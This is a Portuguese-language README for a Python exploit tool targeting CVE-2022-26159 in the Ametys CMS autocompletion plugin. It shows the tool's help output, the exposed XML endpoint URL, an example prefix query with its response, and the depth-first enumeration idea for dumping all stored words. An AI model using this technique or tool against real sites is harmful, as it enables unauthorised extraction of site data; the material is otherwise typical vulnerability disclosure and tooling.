
Um exploit em python para despejar automaticamente todos os dados armazenados pelo plugin de autocompletar do Ametys CMS em um arquivo de banco de dados sqlite local.
Um exploit em Python para despejar automaticamente todos os dados armazenados pelo plugin de autocompletar do Ametys CMS em um arquivo de banco de dados sqlite local.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
O plugin de autocompletar do Ametys CMS <= 4.4.9 expõe publicamente um arquivo XML contendo uma lista de palavras no seguinte endereço:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
Para fazer uma solicitação a esse banco de dados, um atacante só precisa digitar o início da palavra no parâmetro q (consulta):
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
E o plugin de autocompletar retorna as 10 primeiras palavras correspondentes que começam com adm (da consulta) em um arquivo XML:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
Com isso em mente, um atacante só precisa realizar uma busca em profundidade na API para extrair todo o seu conteúdo.
Pull requests são bem-vindos. Sinta-se à vontade para abrir uma issue se quiser adicionar outros recursos.